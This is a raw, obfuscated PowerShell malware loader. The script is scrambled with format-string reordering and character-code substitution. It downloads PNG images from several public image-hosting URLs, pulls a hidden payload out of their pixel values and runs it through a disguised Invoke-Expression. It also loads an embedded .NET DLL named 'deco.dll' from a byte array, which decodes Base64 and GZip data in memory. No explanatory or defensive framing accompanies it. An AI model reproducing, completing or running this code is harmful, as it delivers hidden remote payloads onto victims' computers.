|
$aCmAS={ |
|
|
|
((("{34}{8}{6}{16}{45}{15}{33}{52}{25}{35}{5}{57}{32}{2}{61}{23}{60}{4}{49}{26}{22}{43}{30}{53}{18}{62}{39}{19}{29}{40}{64}{17}{37}{38}{48}{63}{42}{47}{58}{7}{9}{44}{36}{54}{55}{31}{10}{41}{20}{50}{12}{0}{13}{27}{56}{28}{21}{3}{46}{14}{24}{65}{11}{1}{51}{59}"-f 'Cm}]=([math]::qvAFLteK',']106+[CHAr]80),[sTRInG][CHAr]','://images2.','LN{O}[0..458Cm+8Cm0','f ijP/ij8Cm+8CmP,ijP.pngijP,ijP://i.imguijP,ijPcij','10}{13}qvA-f ijP_oijP,ijPpijP','{0}qvA -f ijPalijP,ij','PSystem.8Cm+8CmijP)((.(ijPaijP) (qvA{3}{1}{2}{0}qvA-fijPntijP,ijP','0]+8Cmx8Cm) ( (8Cm&(qvA{1}','WebCij','(qvA{0}{1}qvA -fijPBy','+[CHAr','X},FLN{_});8Cm+8CmFLN{o}[FLN{_}*300+FLN{X8Cm+8','oOrqvA((F','m,','0}qvA -f ijPeijP','PsijP) (ijPaijP8Cm+8Cm) (qvA{0}{2}{1}qvA -fijPNew-ObijP,ijPt','q','gijP,ijP','-f ijPg.ijP,ijPFijP,ijPttijP,ijPi.postiijP,ijPD1.png?dl=1ijP,ijPps://ijP,ijPmQq0XRijP,ijPcc/ijP,ijPh/ijP,ijPhi8Cm+8','e[ijP,ijP]ijP) 45300;(0..150)m4M.(ijP%ijP){foreach(FLN{x} in(0..299)){FLN{p}=FLN{G}.q','g]::qvAateKScIiqvA.q8Cm+8CmvAg8Cm+8CmteKEteKTsTteKRINgqvA(F','{1}{2}{4}{5}{8}{0}{6}{7}qvA-f ijP/i/cjtb8d4ijP,ijPttpijP,i8Cm+8CmjPs://iijP,ijPhijP,i','A{6}{2}{','8CmKfp8Cm).RePlacE(8CmqvA8Cm,[sTRInG][CHAr]34).RePlacE(([CHAr]1','ijPnijP,ijPsteijP,ijPm.DrawiijP,ijPgijP,ijPSyijP);8Cm+8Cm[string[]]FLN{NteKU}=((qvA{4}{11}{3}{12}{5}{7}{9}{8','Cm+8Cm,ijPcomijP,ijPr.ijP,ijPhttpsijP,ijPf2262WijP),(qvA{3}','LN{P}.qvABqvA-band15)*16)-bor(FLN{P}.qvAgqvA -band 15))}','[System.T8Cm+8Cmext.Encodin','CmjP,ijPmij','ijP','jP) ','.ijP,ijPhttps',',ijPAdd-TypijP) -AssemblyName (qvA{4}{1}{',' . ( KfpPsHome[4]+KfpPsHoMe[3','}{28Cm+8Cm}{0}{6}8Cm+8Cm{1}{','Net.ijP))8Cm+8Cm.qvAOpteKeNRteKEaDqvA(FLN{uteKRL})8Cm+8Cm);','vA8Cm+8Cm{0}{3}8Cm+8Cm{2}{1}{4}8Cm+8CmqvA -','fijPNet.WeijP,ijPienijP,ijPClijP,ijPbijP8Cm+8Cm,ijPtijP)).qvADO8Cm+8CmwnLOAdsteKTRteKiteKNGq','7}{1}{6}{8}{4}qvA','P));foreach(FLN{UteKRL} in','t','A{4}{','jPma','P,ijPlieijP,ijP','ijP,ijPjecijP);.(qvA{1}8Cm+8Cm{','71]);break}}8Cm).RePlacE(([CHAr]116+[CHAr]101+[CHAr]75),8CmXPV8Cm).RePlacE(8CmFLN8C','3}{1}{0}8Cm+8Cm{2}qvA -f ijP','vA(FLN{uteKRl}).qvAleteKNgtHqvA ','P8','vAGeteKTPIxelqvA(FLN{8Cm+8Cm','39).RePlacE(([CHAr]109+[CHAr]52+[CH','2}{0}{3}qvA-8Cm+8Cmf ',',ijPge.frijP,ijP2zijP,ijPjs576vt.pn','FLN{8Cm+8','CmO}=.(ijPai','8Cm+8Cm};FLN{MAteKGG}=',',ijPjijP,ijPx','.BiijP,ijPwingijP,ijPtmapijP,ijPDraijP,ij8Cm+8Cm','Ar]77),8CmOSA8Cm))','5}{4}{0}{3}{7}{1}qvA-','ijP,ijPm/cd/8f/ijP,ijP.ijP,ijP0ijP,ijPZi8Cm+8CmjP,ijPq0WQuij8Cm+8CmP,ijPnijP,ijPimgboijP,ijPcoijP,ijPgijP),(qv','lijP),8Cm+8Cm(qvA{9}{2}{5}{3}{10}{0}{','-g8Cm+8Cmt 999){FLN{g}=&(ijPaijP) (qv',' FLN{nteKU}){if ((.(ijPaijP) (','05'))-ReplaCE'8Cm',[CHAR]39-ReplaCE 'Kfp',[CHAR]36 -crEplAcE ([CHAR]79+[CHAR]83+[CHAR]65),[CHAR]124 -crEplAcE 'XPV',[CHAR]96) |& ((GET-VAriAbLe '*mdR*').NaMe[3,11,2]-JOIn'') |
|
|
|
[Reflection.Assembly]::Load([byte[]]@(77 ,90 ,144 ,0 ,3 ,0 ,0 ,0 ,4 ,0 ,0 ,0 ,255 ,255 ,0 ,0 ,184 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,64 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,128 ,0 ,0 ,0 ,14 ,31 ,186 ,14 ,0 ,180 ,9 ,205 ,33 ,184 ,1 ,76 ,205 ,33 ,84 ,104 ,105 ,115 ,32 ,112 ,114 ,111 ,103 ,114 ,97 ,109 ,32 ,99 ,97 ,110 ,110 ,111 ,116 ,32 ,98 ,101 ,32 ,114 ,117 ,110 ,32 ,105 ,110 ,32 ,68 ,79 ,83 ,32 ,109 ,111 ,100 ,101 ,46 ,13 ,13 ,10 ,36 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,80 ,69 ,0 ,0 ,76 ,1 ,3 ,0 ,230 ,205 ,255 ,91 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,224 ,0 ,2 ,33 ,11 ,1 ,11 ,0 ,0 ,6 ,0 ,0 ,0 ,6 ,0 ,0 ,0 ,0 ,0 ,0 ,14 ,37 ,0 ,0 ,0 ,32 ,0 ,0 ,0 ,64 ,0 ,0 ,0 ,0 ,0 ,16 ,0 ,32 ,0 ,0 ,0 ,2 ,0 ,0 ,4 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,4 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,128 ,0 ,0 ,0 ,2 ,0 ,0 ,0 ,0 ,0 ,0 ,3 ,0 ,64 ,133 ,0 ,0 ,16 ,0 ,0 ,16 ,0 ,0 ,0 ,0 ,16 ,0 ,0 ,16 ,0 ,0 ,0 ,0 ,0 ,0 ,16 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,192 ,36 ,0 ,0 ,75 ,0 ,0 ,0 ,0 ,64 ,0 ,0 ,152 ,2 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,96 ,0 ,0 ,12 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,32 ,0 ,0 ,8 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,8 ,32 ,0 ,0 ,72 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,46 ,116 ,101 ,120 ,116 ,0 ,0 ,0 ,20 ,5 ,0 ,0 ,0 ,32 ,0 ,0 ,0 ,6 ,0 ,0 ,0 ,2 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,32 ,0 ,0 ,96 ,46 ,114 ,115 ,114 ,99 ,0 ,0 ,0 ,152 ,2 ,0 ,0 ,0 ,64 ,0 ,0 ,0 ,4 ,0 ,0 ,0 ,8 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,64 ,0 ,0 ,64 ,46 ,114 ,101 ,108 ,111 ,99 ,0 ,0 ,12 ,0 ,0 ,0 ,0 ,96 ,0 ,0 ,0 ,2 ,0 ,0 ,0 ,12 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,64 ,0 ,0 ,66 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,240 ,36 ,0 ,0 ,0 ,0 ,0 ,0 ,72 ,0 ,0 ,0 ,2 ,0 ,5 ,0 ,248 ,32 ,0 ,0 ,200 ,3 ,0 ,0 ,1 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,70 ,40 ,3 ,0 ,0 ,10 ,2 ,40 ,2 ,0 ,0 ,6 ,111 ,4 ,0 ,0 ,10 ,42 ,0 ,0 ,27 ,48 ,2 ,0 ,85 ,0 ,0 ,0 ,1 ,0 ,0 ,17 ,2 ,40 ,5 ,0 ,0 ,10 ,10 ,6 ,115 ,6 ,0 ,0 ,10 ,12 ,8 ,22 ,115 ,7 ,0 ,0 ,10 ,13 ,115 ,8 ,0 ,0 ,10 ,19 ,4 ,9 ,17 ,4 ,111 ,9 ,0 ,0 ,10 ,17 ,4 ,111 ,10 ,0 ,0 ,10 ,11 ,222 ,12 ,17 ,4 ,44 ,7 ,17 ,4 ,111 ,11 ,0 ,0 ,10 ,220 ,222 ,10 ,9 ,44 ,6 ,9 ,111 ,11 ,0 ,0 ,10 ,220 ,222 ,10 ,8 ,44 ,6 ,8 ,111 ,11 ,0 ,0 ,10 ,220 ,7 ,42 ,0 ,0 ,0 ,1 ,40 ,0 ,0 ,2 ,0 ,29 ,0 ,18 ,47 ,0 ,12 ,0 ,0 ,0 ,0 ,2 ,0 ,22 ,0 ,39 ,61 ,0 ,10 ,0 ,0 ,0 ,0 ,2 ,0 ,14 ,0 ,59 ,73 ,0 ,10 ,0 ,0 ,0 ,0 ,30 ,2 ,40 ,12 ,0 ,0 ,10 ,42 ,66 ,83 ,74 ,66 ,1 ,0 ,1 ,0 ,0 ,0 ,0 ,0 ,12 ,0 ,0 ,0 ,118 ,52 ,46 ,48 ,46 ,51 ,48 ,51 ,49 ,57 ,0 ,0 ,0 ,0 ,5 ,0 ,108 ,0 ,0 ,0 ,112 ,1 ,0 ,0 ,35 ,126 ,0 ,0 ,220 ,1 ,0 ,0 ,92 ,1 ,0 ,0 ,35 ,83 ,116 ,114 ,105 ,110 ,103 ,115 ,0 ,0 ,0 ,0 ,56 ,3 ,0 ,0 ,8 ,0 ,0 ,0 ,35 ,85 ,83 ,0 ,64 ,3 ,0 ,0 ,16 ,0 ,0 ,0 ,35 ,71 ,85 ,73 ,68 ,0 ,0 ,0 ,80 ,3 ,0 ,0 ,120 ,0 ,0 ,0 ,35 ,66 ,108 ,111 ,98 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,2 ,0 ,0 ,1 ,71 ,21 ,2 ,0 ,9 ,0 ,0 ,0 ,0 ,250 ,37 ,51 ,0 ,22 ,0 ,0 ,1 ,0 ,0 ,0 ,10 ,0 ,0 ,0 ,2 ,0 ,0 ,0 ,3 ,0 ,0 ,0 ,2 ,0 ,0 ,0 ,12 ,0 ,0 ,0 ,2 ,0 ,0 ,0 ,1 ,0 ,0 ,0 ,1 ,0 ,0 ,0 ,2 ,0 ,0 ,0 ,0 ,0 ,10 ,0 ,1 ,0 ,0 ,0 ,0 ,0 ,6 ,0 ,38 ,0 ,31 ,0 ,6 ,0 ,101 ,0 ,69 ,0 ,6 ,0 ,133 ,0 ,69 ,0 ,6 ,0 ,180 ,0 ,168 ,0 ,6 ,0 ,208 ,0 ,31 ,0 ,6 ,0 ,243 ,0 ,233 ,0 ,10 ,0 ,22 ,1 ,0 ,1 ,6 ,0 ,33 ,1 ,233 ,0 ,10 ,0 ,40 ,1 ,0 ,1 ,6 ,0 ,71 ,1 ,31 ,0 ,0 ,0 ,0 ,0 ,1 ,0 ,0 ,0 ,0 ,0 ,1 ,0 ,1 ,0 ,1 ,0 ,16 ,0 ,19 ,0 ,0 ,0 ,5 ,0 ,1 ,0 ,1 ,0 ,80 ,32 ,0 ,0 ,0 ,0 ,150 ,0 ,45 ,0 ,10 ,0 ,1 ,0 ,100 ,32 ,0 ,0 ,0 ,0 ,150 ,0 ,48 ,0 ,15 ,0 ,2 ,0 ,240 ,32 ,0 ,0 ,0 ,0 ,134 ,24 ,51 ,0 ,21 ,0 ,3 ,0 ,0 ,0 ,1 ,0 ,57 ,0 ,0 ,0 ,1 ,0 ,57 ,0 ,17 ,0 ,51 ,0 ,25 ,0 ,25 ,0 ,51 ,0 ,21 ,0 ,33 ,0 ,189 ,0 ,30 ,0 ,33 ,0 ,198 ,0 ,35 ,0 ,41 ,0 ,216 ,0 ,15 ,0 ,49 ,0 ,51 ,0 ,41 ,0 ,57 ,0 ,51 ,0 ,47 ,0 ,49 ,0 ,51 ,0 ,21 ,0 ,65 ,0 ,56 ,1 ,55 ,0 ,49 ,0 ,63 ,1 ,61 ,0 ,81 ,0 ,83 ,1 ,21 ,0 ,9 ,0 ,51 ,0 ,21 ,0 ,46 ,0 ,11 ,0 ,79 ,0 ,46 ,0 ,19 ,0 ,88 ,0 ,66 ,0 ,4 ,128 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,163 ,0 ,0 ,0 ,4 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,1 ,0 ,22 ,0 ,0 ,0 ,0 ,0 ,4 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,1 ,0 ,31 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,60 ,77 ,111 ,100 ,117 ,108 ,101 ,62 ,0 ,100 ,101 ,99 ,111 ,46 ,100 ,108 ,108 ,0 ,101 ,101 ,0 ,109 ,115 ,99 ,111 ,114 ,108 ,105 ,98 ,0 ,83 ,121 ,115 ,116 ,101 ,109 ,0 ,79 ,98 ,106 ,101 ,99 ,116 ,0 ,68 ,101 ,0 ,68 ,98 ,0 ,46 ,99 ,116 ,111 ,114 ,0 ,105 ,110 ,112 ,117 ,116 ,83 ,116 ,114 ,105 ,110 ,103 ,0 ,83 ,121 ,115 ,116 ,101 ,109 ,46 ,82 ,117 ,110 ,116 ,105 ,109 ,101 ,46 ,67 ,111 ,109 ,112 ,105 ,108 ,101 ,114 ,83 ,101 ,114 ,118 ,105 ,99 ,101 ,115 ,0 ,67 ,111 ,109 ,112 ,105 ,108 ,97 ,116 ,105 ,111 ,110 ,82 ,101 ,108 ,97 ,120 ,97 ,116 ,105 ,111 ,110 ,115 ,65 ,116 ,116 ,114 ,105 ,98 ,117 ,116 ,101 ,0 ,82 ,117 ,110 ,116 ,105 ,109 ,101 ,67 ,111 ,109 ,112 ,97 ,116 ,105 ,98 ,105 ,108 ,105 ,116 ,121 ,65 ,116 ,116 ,114 ,105 ,98 ,117 ,116 ,101 ,0 ,100 ,101 ,99 ,111 ,0 ,83 ,121 ,115 ,116 ,101 ,109 ,46 ,84 ,101 ,120 ,116 ,0 ,69 ,110 ,99 ,111 ,100 ,105 ,110 ,103 ,0 ,103 ,101 ,116 ,95 ,85 ,84 ,70 ,56 ,0 ,71 ,101 ,116 ,83 ,116 ,114 ,105 ,110 ,103 ,0 ,67 ,111 ,110 ,118 ,101 ,114 ,116 ,0 ,70 ,114 ,111 ,109 ,66 ,97 ,115 ,101 ,54 ,52 ,83 ,116 ,114 ,105 ,110 ,103 ,0 ,83 ,121 ,115 ,116 ,101 ,109 ,46 ,73 ,79 ,0 ,77 ,101 ,109 ,111 ,114 ,121 ,83 ,116 ,114 ,101 ,97 ,109 ,0 ,83 ,121 ,115 ,116 ,101 ,109 ,46 ,73 ,79 ,46 ,67 ,111 ,109 ,112 ,114 ,101 ,115 ,115 ,105 ,111 ,110 ,0 ,71 ,90 ,105 ,112 ,83 ,116 ,114 ,101 ,97 ,109 ,0 ,83 ,116 ,114 ,101 ,97 ,109 ,0 ,67 ,111 ,109 ,112 ,114 ,101 ,115 ,115 ,105 ,111 ,110 ,77 ,111 ,100 ,101 ,0 ,67 ,111 ,112 ,121 ,84 ,111 ,0 ,84 ,111 ,65 ,114 ,114 ,97 ,121 ,0 ,73 ,68 ,105 ,115 ,112 ,111 ,115 ,97 ,98 ,108 ,101 ,0 ,68 ,105 ,115 ,112 ,111 ,115 ,101 ,0 ,0 ,0 ,3 ,32 ,0 ,0 ,0 ,0 ,0 ,25 ,76 ,165 ,141 ,205 ,229 ,132 ,70 ,165 ,16 ,128 ,35 ,229 ,117 ,248 ,78 ,0 ,8 ,183 ,122 ,92 ,86 ,25 ,52 ,224 ,137 ,4 ,0 ,1 ,14 ,14 ,5 ,0 ,1 ,29 ,5 ,14 ,3 ,32 ,0 ,1 ,4 ,32 ,1 ,1 ,8 ,4 ,0 ,0 ,18 ,17 ,5 ,32 ,1 ,14 ,29 ,5 ,5 ,32 ,1 ,1 ,29 ,5 ,7 ,32 ,2 ,1 ,18 ,33 ,17 ,37 ,5 ,32 ,1 ,1 ,18 ,33 ,4 ,32 ,0 ,29 ,5 ,12 ,7 ,5 ,29 ,5 ,29 ,5 ,18 ,25 ,18 ,29 ,18 ,25 ,8 ,1 ,0 ,8 ,0 ,0 ,0 ,0 ,0 ,30 ,1 ,0 ,1 ,0 ,84 ,2 ,22 ,87 ,114 ,97 ,112 ,78 ,111 ,110 ,69 ,120 ,99 ,101 ,112 ,116 ,105 ,111 ,110 ,84 ,104 ,114 ,111 ,119 ,115 ,1 ,0 ,232 ,36 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,254 ,36 ,0 ,0 ,0 ,32 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,240 ,36 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,95 ,67 ,111 ,114 ,68 ,108 ,108 ,77 ,97 ,105 ,110 ,0 ,109 ,115 ,99 ,111 ,114 ,101 ,101 ,46 ,100 ,108 ,108 ,0 ,0 ,0 ,0 ,0 ,255 ,37 ,0 ,32 ,0 ,16 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,1 ,0 ,16 ,0 ,0 ,0 ,24 ,0 ,0 ,128 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,1 ,0 ,1 ,0 ,0 ,0 ,48 ,0 ,0 ,128 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,1 ,0 ,0 ,0 ,0 ,0 ,72 ,0 ,0 ,0 ,88 ,64 ,0 ,0 ,60 ,2 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,60 ,2 ,52 ,0 ,0 ,0 ,86 ,0 ,83 ,0 ,95 ,0 ,86 ,0 ,69 ,0 ,82 ,0 ,83 ,0 ,73 ,0 ,79 ,0 ,78 ,0 ,95 ,0 ,73 ,0 ,78 ,0 ,70 ,0 ,79 ,0 ,0 ,0 ,0 ,0 ,189 ,4 ,239 ,254 ,0 ,0 ,1 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,63 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,4 ,0 ,0 ,0 ,2 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,68 ,0 ,0 ,0 ,1 ,0 ,86 ,0 ,97 ,0 ,114 ,0 ,70 ,0 ,105 ,0 ,108 ,0 ,101 ,0 ,73 ,0 ,110 ,0 ,102 ,0 ,111 ,0 ,0 ,0 ,0 ,0 ,36 ,0 ,4 ,0 ,0 ,0 ,84 ,0 ,114 ,0 ,97 ,0 ,110 ,0 ,115 ,0 ,108 ,0 ,97 ,0 ,116 ,0 ,105 ,0 ,111 ,0 ,110 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,176 ,4 ,156 ,1 ,0 ,0 ,1 ,0 ,83 ,0 ,116 ,0 ,114 ,0 ,105 ,0 ,110 ,0 ,103 ,0 ,70 ,0 ,105 ,0 ,108 ,0 ,101 ,0 ,73 ,0 ,110 ,0 ,102 ,0 ,111 ,0 ,0 ,0 ,120 ,1 ,0 ,0 ,1 ,0 ,48 ,0 ,48 ,0 ,48 ,0 ,48 ,0 ,48 ,0 ,52 ,0 ,98 ,0 ,48 ,0 ,0 ,0 ,44 ,0 ,2 ,0 ,1 ,0 ,70 ,0 ,105 ,0 ,108 ,0 ,101 ,0 ,68 ,0 ,101 ,0 ,115 ,0 ,99 ,0 ,114 ,0 ,105 ,0 ,112 ,0 ,116 ,0 ,105 ,0 ,111 ,0 ,110 ,0 ,0 ,0 ,0 ,0 ,32 ,0 ,0 ,0 ,48 ,0 ,8 ,0 ,1 ,0 ,70 ,0 ,105 ,0 ,108 ,0 ,101 ,0 ,86 ,0 ,101 ,0 ,114 ,0 ,115 ,0 ,105 ,0 ,111 ,0 ,110 ,0 ,0 ,0 ,0 ,0 ,48 ,0 ,46 ,0 ,48 ,0 ,46 ,0 ,48 ,0 ,46 ,0 ,48 ,0 ,0 ,0 ,52 ,0 ,9 ,0 ,1 ,0 ,73 ,0 ,110 ,0 ,116 ,0 ,101 ,0 ,114 ,0 ,110 ,0 ,97 ,0 ,108 ,0 ,78 ,0 ,97 ,0 ,109 ,0 ,101 ,0 ,0 ,0 ,100 ,0 ,101 ,0 ,99 ,0 ,111 ,0 ,46 ,0 ,100 ,0 ,108 ,0 ,108 ,0 ,0 ,0 ,0 ,0 ,40 ,0 ,2 ,0 ,1 ,0 ,76 ,0 ,101 ,0 ,103 ,0 ,97 ,0 ,108 ,0 ,67 ,0 ,111 ,0 ,112 ,0 ,121 ,0 ,114 ,0 ,105 ,0 ,103 ,0 ,104 ,0 ,116 ,0 ,0 ,0 ,32 ,0 ,0 ,0 ,60 ,0 ,9 ,0 ,1 ,0 ,79 ,0 ,114 ,0 ,105 ,0 ,103 ,0 ,105 ,0 ,110 ,0 ,97 ,0 ,108 ,0 ,70 ,0 ,105 ,0 ,108 ,0 ,101 ,0 ,110 ,0 ,97 ,0 ,109 ,0 ,101 ,0 ,0 ,0 ,100 ,0 ,101 ,0 ,99 ,0 ,111 ,0 ,46 ,0 ,100 ,0 ,108 ,0 ,108 ,0 ,0 ,0 ,0 ,0 ,52 ,0 ,8 ,0 ,1 ,0 ,80 ,0 ,114 ,0 ,111 ,0 ,100 ,0 ,117 ,0 ,99 ,0 ,116 ,0 ,86 ,0 ,101 ,0 ,114 ,0 ,115 ,0 ,105 ,0 ,111 ,0 ,110 ,0 ,0 ,0 ,48 ,0 ,46 ,0 ,48 ,0 ,46 ,0 ,48 ,0 ,46 ,0 ,48 ,0 ,0 ,0 ,56 ,0 ,8 ,0 ,1 ,0 ,65 ,0 ,115 ,0 ,115 ,0 ,101 ,0 ,109 ,0 ,98 ,0 ,108 ,0 ,121 ,0 ,32 ,0 ,86 ,0 ,101 ,0 ,114 ,0 ,115 ,0 ,105 ,0 ,111 ,0 ,110 ,0 ,0 ,0 ,48 ,0 ,46 ,0 ,48 ,0 ,46 ,0 ,48 ,0 ,46 ,0 ,48 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,32 ,0 ,0 ,12 ,0 ,0 ,0 ,16 ,53 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 